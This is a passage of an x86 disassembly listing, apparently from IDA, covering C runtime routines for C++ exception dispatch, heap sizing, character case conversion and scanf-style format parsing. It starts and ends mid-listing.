sub_417008 proc near ; CODE XREF: sub_416F6A+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_417019
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417019: ; CODE XREF: sub_417008+Cj
jmp sub_41746C
sub_417008 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41701E proc near ; CODE XREF: sub_416CBE+151p
; sub_416E65+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_417040
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4171CF
add esp, 10h
loc_417040: ; CODE XREF: sub_41701E+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41704C
push edi
jmp short loc_41704F
; ---------------------------------------------------------------------------
loc_41704C: ; CODE XREF: sub_41701E+29j
push [ebp+arg_24]
loc_41704F: ; CODE XREF: sub_41701E+2Cj
call sub_412A9C
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_416F6A
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_417099
add esp, 2Ch
test eax, eax
jz short loc_417094
push edi
push eax
call sub_412A5A
loc_417094: ; CODE XREF: sub_41701E+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41701E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417099 proc near ; CODE XREF: sub_41701E+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D800
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_462C3C
mov [ebp+var_1C], ecx
mov ecx, dword_462C40
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_462C3C, edi
mov ecx, [ebp+arg_8]
mov dword_462C40, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_412B21
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41715F
mov eax, [ebp+var_2C]
loc_417126: ; CODE XREF: sub_41713F+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_417099 endp
; =============== S U B R O U T I N E =======================================
sub_417135 proc near ; DATA XREF: .nsp0:0041D810o
push dword ptr [ebp-14h]
call sub_4171A5
pop ecx
retn
sub_417135 endp
; =============== S U B R O U T I N E =======================================
sub_41713F proc near ; DATA XREF: .nsp0:0041D814o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_412D82
pop ecx
pop ecx
xor eax, eax
jmp short loc_417126
sub_41713F endp
; ---------------------------------------------------------------------------
loc_417157: ; DATA XREF: .nsp0:0041D808o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41715F proc near ; CODE XREF: sub_417099+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_462C3C, eax
mov eax, [ebp-20h]
mov dword_462C40, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_4171A4
cmp dword ptr [edi+10h], 3
jnz short locret_4171A4
cmp dword ptr [edi+14h], 19930520h
jnz short locret_4171A4
cmp [ebp-24h], ebx
jnz short locret_4171A4
cmp [ebp-2Ch], ebx
jz short locret_4171A4
call sub_412DEA
push eax
push edi
call sub_417393
pop ecx
pop ecx
locret_4171A4: ; CODE XREF: sub_41715F+1Cj
; sub_41715F+22j ...
retn
sub_41715F endp
; =============== S U B R O U T I N E =======================================
sub_4171A5 proc near ; CODE XREF: sub_417135+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4171CC
cmp dword ptr [eax+10h], 3
jnz short loc_4171CC
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4171CC
cmp dword ptr [eax+1Ch], 0
jnz short loc_4171CC
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4171CC: ; CODE XREF: sub_4171A5+Cj
; sub_4171A5+12j ...
xor eax, eax
retn
sub_4171A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171CF proc near ; CODE XREF: sub_41701E+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D818
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_417378
cmp byte ptr [eax+8], 0
jz loc_417378
mov eax, [ecx+8]
test eax, eax
jz loc_417378
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41726C
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41A833
pop ecx
pop ecx
test eax, eax
jz loc_41736F
push 1
push edi
call sub_41A84F
pop ecx
pop ecx
test eax, eax
jz loc_41736F
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41725D: ; CODE XREF: sub_4171CF+F5j
push eax
call sub_4173FA
pop ecx
pop ecx
mov [edi], eax
jmp loc_417374
; ---------------------------------------------------------------------------
loc_41726C: ; CODE XREF: sub_4171CF+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4172C6
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41A833
pop ecx
pop ecx
test eax, eax
jz loc_41736F
push 1
push edi
call sub_41A84F
pop ecx
pop ecx
test eax, eax
jz loc_41736F
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_412E60
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_417374
mov eax, [edi]
test eax, eax
jz loc_417374
add esi, 8
push esi
jmp short loc_41725D
; ---------------------------------------------------------------------------
loc_4172C6: ; CODE XREF: sub_4171CF+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41730E
call sub_41A833
pop ecx
pop ecx
test eax, eax
jz loc_41736F
push 1
push edi
call sub_41A84F
pop ecx
pop ecx
test eax, eax
jz short loc_41736F
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4173FA
pop ecx
pop ecx
push eax
push edi
call sub_412E60
add esp, 0Ch
jmp short loc_417374
; ---------------------------------------------------------------------------
loc_41730E: ; CODE XREF: sub_4171CF+103j
call sub_41A833
pop ecx
pop ecx
test eax, eax
jz short loc_41736F
push 1
push edi
call sub_41A84F
pop ecx
pop ecx
test eax, eax
jz short loc_41736F
push dword ptr [esi+18h]
call sub_41A86B
pop ecx
test eax, eax
jz short loc_41736F
test byte ptr [esi], 4
jz short loc_417355
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4173FA
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_412A95
jmp short loc_417374
; ---------------------------------------------------------------------------
loc_417355: ; CODE XREF: sub_4171CF+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4173FA
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_412A8E
jmp short loc_417374
; ---------------------------------------------------------------------------
loc_41736F: ; CODE XREF: sub_4171CF+6Aj
; sub_4171CF+7Cj ...
call sub_4174C2
loc_417374: ; CODE XREF: sub_4171CF+98j
; sub_4171CF+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_417378: ; CODE XREF: sub_4171CF+2Ej
; sub_4171CF+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4171CF endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41746C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417393 proc near ; CODE XREF: sub_416CBE+170p
; sub_41715F+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D828
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4173DA
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4173DA
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_412A8E
or [ebp+var_4], 0FFFFFFFFh
loc_4173DA: ; CODE XREF: sub_417393+2Aj
; sub_417393+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_417393 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41746C
; =============== S U B R O U T I N E =======================================
sub_4173FA proc near ; CODE XREF: sub_4171CF+8Fp
; sub_4171CF+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41741B
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41741B: ; CODE XREF: sub_4173FA+12j
pop esi
retn
sub_4173FA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417420 proc near ; CODE XREF: sub_412B21+40p
; sub_416F6A+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_412E0D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41745F
mov ecx, 2
loc_41745F: ; CODE XREF: sub_417420+38j
push ecx
call sub_412E0D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_417420 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41746C proc near ; CODE XREF: sub_416CBE:loc_416E60j
; sub_417008:loc_417019j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041A883 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D838
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_462C48
test eax, eax
jz short loc_4174B4
mov [ebp+var_4], 1
call eax ; dword_462C48
jmp short loc_4174B0
; ---------------------------------------------------------------------------
loc_4174A9: ; DATA XREF: .nsp0:0041D848o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4174AD: ; DATA XREF: .nsp0:0041D84Co
mov esp, [ebp+var_18]
loc_4174B0: ; CODE XREF: sub_41746C+3Bj
and [ebp+var_4], 0
loc_4174B4: ; CODE XREF: sub_41746C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4174BD: ; DATA XREF: .nsp0:0041D840o
jmp loc_41A883
sub_41746C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174C2 proc near ; CODE XREF: sub_412CC3+23p
; sub_412CC3:loc_412D2Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41D850
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_431814
test eax, eax
jz short loc_41750A
mov [ebp+var_4], 1
call eax ; sub_41746C
jmp short loc_417506
; ---------------------------------------------------------------------------
loc_4174FF: ; DATA XREF: .nsp0:0041D860o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_417503: ; DATA XREF: .nsp0:0041D864o
mov esp, [ebp+var_18]
loc_417506: ; CODE XREF: sub_4174C2+3Bj
and [ebp+var_4], 0
loc_41750A: ; CODE XREF: sub_4174C2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_417513: ; DATA XREF: .nsp0:0041D858o
jmp sub_41746C
sub_4174C2 endp
; =============== S U B R O U T I N E =======================================
sub_417518 proc near ; CODE XREF: sub_4131A3+7p
; sub_4131A3+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_4153CD
test eax, eax
pop ecx
jz short loc_417530
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_417530: ; CODE XREF: sub_417518+Ej
push esi
push 0
push dword_464220
call dword_41D180 ; RtlSizeHeap
pop esi
retn
sub_417518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417541 proc near ; CODE XREF: sub_413251+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_462C58, 0
push ebx
jnz short loc_41756C
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41760A
cmp eax, 7Ah
jg loc_41760A
sub eax, 20h
jmp loc_41760A
; ---------------------------------------------------------------------------
loc_41756C: ; CODE XREF: sub_417541+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41759F
cmp dword_4316BC, 1
jle short loc_41758C
push 2
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_417597
; ---------------------------------------------------------------------------
loc_41758C: ; CODE XREF: sub_417541+3Dj
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 2
loc_417597: ; CODE XREF: sub_417541+49j
test eax, eax
jnz short loc_41759F
loc_41759B: ; CODE XREF: sub_417541+AFj
mov eax, ebx
jmp short loc_41760A
; ---------------------------------------------------------------------------
loc_41759F: ; CODE XREF: sub_417541+34j
; sub_417541+58j
mov edx, off_4314B0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4175C2
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_4175CB
; ---------------------------------------------------------------------------
loc_4175C2: ; CODE XREF: sub_417541+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_4175CB: ; CODE XREF: sub_417541+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_462C58
call loc_418641
add esp, 20h
test eax, eax
jz short loc_41759B
cmp eax, 1
jnz short loc_4175FD
movzx eax, [ebp+var_4]
jmp short loc_41760A
; ---------------------------------------------------------------------------
loc_4175FD: ; CODE XREF: sub_417541+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41760A: ; CODE XREF: sub_417541+14j
; sub_417541+1Dj ...
pop ebx
leave
retn
sub_417541 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41760D proc near ; CODE XREF: sub_413470+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_418013
mov edi, [ebp+arg_0]
jmp short loc_41763C
; ---------------------------------------------------------------------------
loc_417637: ; CODE XREF: sub_41760D+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41763C: ; CODE XREF: sub_41760D+28j
cmp dword_4316BC, 1
jle short loc_417654
movzx eax, al
push 8
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_417663
; ---------------------------------------------------------------------------
loc_417654: ; CODE XREF: sub_41760D+36j
mov ecx, off_4314B0
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_417663: ; CODE XREF: sub_41760D+45j
cmp eax, ebx
jz short loc_41769D
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41809A
pop ecx
pop ecx
push eax
call sub_418083
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41A962
add esp, 0Ch
loc_41768B: ; CODE XREF: sub_41760D+8Ej
test eax, eax
jz short loc_41769D
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41A962
pop ecx
jmp short loc_41768B
; ---------------------------------------------------------------------------
loc_41769D: ; CODE XREF: sub_41760D+58j
; sub_41760D+80j
cmp byte ptr [esi], 25h
jnz loc_417F7F
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4176D4: ; CODE XREF: sub_41760D+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_4316BC, 1
jle short loc_4176F1
movzx eax, bl
push 4
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_417700
; ---------------------------------------------------------------------------
loc_4176F1: ; CODE XREF: sub_41760D+D3j
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_417700: ; CODE XREF: sub_41760D+E2j
test eax, eax
jz short loc_417716
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41777B
; ---------------------------------------------------------------------------
loc_417716: ; CODE XREF: sub_41760D+F5j
cmp ebx, 4Eh
jg short loc_417759
jz short loc_41777B
cmp ebx, 2Ah
jz short loc_417754
cmp ebx, 46h
jz short loc_41777B
cmp ebx, 49h
jz short loc_417736
cmp ebx, 4Ch
jnz short loc_417768
inc [ebp+var_D]
jmp short loc_41777B
; ---------------------------------------------------------------------------
loc_417736: ; CODE XREF: sub_41760D+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_417768
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_417768
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41777B
; ---------------------------------------------------------------------------
loc_417754: ; CODE XREF: sub_41760D+113j
inc [ebp+var_E]
jmp short loc_41777B
; ---------------------------------------------------------------------------
loc_417759: ; CODE XREF: sub_41760D+10Cj
cmp ebx, 68h
jz short loc_417775
cmp ebx, 6Ch
jz short loc_41776D
cmp ebx, 77h
jz short loc_417770
loc_417768: ; CODE XREF: sub_41760D+122j
; sub_41760D+12Dj ...
inc [ebp+var_F]
jmp short loc_41777B
; ---------------------------------------------------------------------------
loc_41776D: ; CODE XREF: sub_41760D+154j
inc [ebp+var_D]
loc_417770: ; CODE XREF: sub_41760D+159j
inc [ebp+var_5]
jmp short loc_41777B
; ---------------------------------------------------------------------------
loc_417775: ; CODE XREF: sub_41760D+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41777B: ; CODE XREF: sub_41760D+107j
; sub_41760D+10Ej ...
cmp [ebp+var_F], 0
jz loc_4176D4
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4177A0
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4177A0: ; CODE XREF: sub_41760D+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4177BE
mov al, [esi]
cmp al, 53h
jz short loc_4177BA
cmp al, 43h
jz short loc_4177BA
or [ebp+var_5], 0FFh
jmp short loc_4177BE
; ---------------------------------------------------------------------------
loc_4177BA: ; CODE XREF: sub_41760D+1A1j
; sub_41760D+1A5j
mov [ebp+var_5], 1
loc_4177BE: ; CODE XREF: sub_41760D+19Bj
; sub_41760D+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4177F7
cmp esi, 63h
jz short loc_4177E8
cmp esi, 7Bh
jz short loc_4177E8
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41809A
pop ecx
jmp short loc_4177F3
; ---------------------------------------------------------------------------
loc_4177E8: ; CODE XREF: sub_41760D+1C5j
; sub_41760D+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_418069
loc_4177F3: ; CODE XREF: sub_41760D+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4177F7: ; CODE XREF: sub_41760D+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_417807
cmp [ebp+var_C], eax
jz loc_417FE3
loc_417807: ; CODE XREF: sub_41760D+1EFj
cmp esi, 6Fh
jg loc_417A6E
jz loc_417D20
cmp esi, 63h
jz loc_417A4B
cmp esi, 64h
jz loc_417D20
jle loc_417A98
cmp esi, 67h
jle short loc_41786B
cmp esi, 69h
jz short loc_417853
cmp esi, 6Eh
jnz loc_417A98
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_417F4E
jmp loc_417F74
; ---------------------------------------------------------------------------
loc_417853: ; CODE XREF: sub_41760D+229j
push 64h
pop esi
loc_417856: ; CODE XREF: sub_41760D+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_417AE0
mov [ebp+var_17], 1
jmp loc_417AE5
; ---------------------------------------------------------------------------
loc_41786B: ; CODE XREF: sub_41760D+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_417887
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41788C
; ---------------------------------------------------------------------------
loc_417887: ; CODE XREF: sub_41760D+26Aj
cmp ebx, 2Bh
jnz short loc_4178A3
loc_41788C: ; CODE XREF: sub_41760D+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4178A6
; ---------------------------------------------------------------------------
loc_4178A3: ; CODE XREF: sub_41760D+27Dj
mov edi, [ebp+arg_0]
loc_4178A6: ; CODE XREF: sub_41760D+294j
cmp [ebp+var_20], 0
jz short loc_4178B5
cmp [ebp+var_C], 15Dh
jle short loc_4178BC
loc_4178B5: ; CODE XREF: sub_41760D+29Dj
mov [ebp+var_C], 15Dh
loc_4178BC: ; CODE XREF: sub_41760D+2A6j
; sub_41760D+2F2j
cmp dword_4316BC, 1
jle short loc_4178D1
push 4
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_4178DC
; ---------------------------------------------------------------------------
loc_4178D1: ; CODE XREF: sub_41760D+2B6j
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 4
loc_4178DC: ; CODE XREF: sub_41760D+2C2j
test eax, eax
jz short loc_417901
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_417901
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4178BC
; ---------------------------------------------------------------------------
loc_417901: ; CODE XREF: sub_41760D+2D1j
; sub_41760D+2DBj
cmp byte_4316C0, bl
jnz short loc_41796F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41796F
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
mov al, byte_4316C0
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41792A: ; CODE XREF: sub_41760D+360j
cmp dword_4316BC, 1
jle short loc_41793F
push 4
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_41794A
; ---------------------------------------------------------------------------
loc_41793F: ; CODE XREF: sub_41760D+324j
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 4
loc_41794A: ; CODE XREF: sub_41760D+330j
test eax, eax
jz short loc_41796F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41796F
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41792A
; ---------------------------------------------------------------------------
loc_41796F: ; CODE XREF: sub_41760D+2FAj
; sub_41760D+304j ...
cmp [ebp+var_1C], 0
jz loc_417A07
cmp ebx, 65h
jz short loc_417987
cmp ebx, 45h
jnz loc_417A07
loc_417987: ; CODE XREF: sub_41760D+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_417A07
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4179AE
mov [esi], al
inc esi
jmp short loc_4179B3
; ---------------------------------------------------------------------------
loc_4179AE: ; CODE XREF: sub_41760D+39Aj
cmp ebx, 2Bh
jnz short loc_4179D1
loc_4179B3: ; CODE XREF: sub_41760D+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4179C2
and [ebp+var_C], eax
jmp short loc_4179D1
; ---------------------------------------------------------------------------
loc_4179C2: ; CODE XREF: sub_41760D+3AEj
; sub_41760D+3F8j
inc [ebp+var_4]
push edi
call sub_418069
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4179D1: ; CODE XREF: sub_41760D+3A4j
; sub_41760D+3B3j
cmp dword_4316BC, 1
jle short loc_4179E6
push 4
push ebx
call sub_414E26
pop ecx
pop ecx
jmp short loc_4179F1
; ---------------------------------------------------------------------------
loc_4179E6: ; CODE XREF: sub_41760D+3CBj
mov eax, off_4314B0
mov al, [eax+ebx*2]
and eax, 4
loc_4179F1: ; CODE XREF: sub_41760D+3D7j
test eax, eax
jz short loc_417A07
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_417A07
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4179C2
; ---------------------------------------------------------------------------
loc_417A07: ; CODE XREF: sub_41760D+366j
; sub_41760D+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_418083
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_418013
cmp [ebp+var_E], 0
jnz loc_417F74
inc [ebp+var_34]
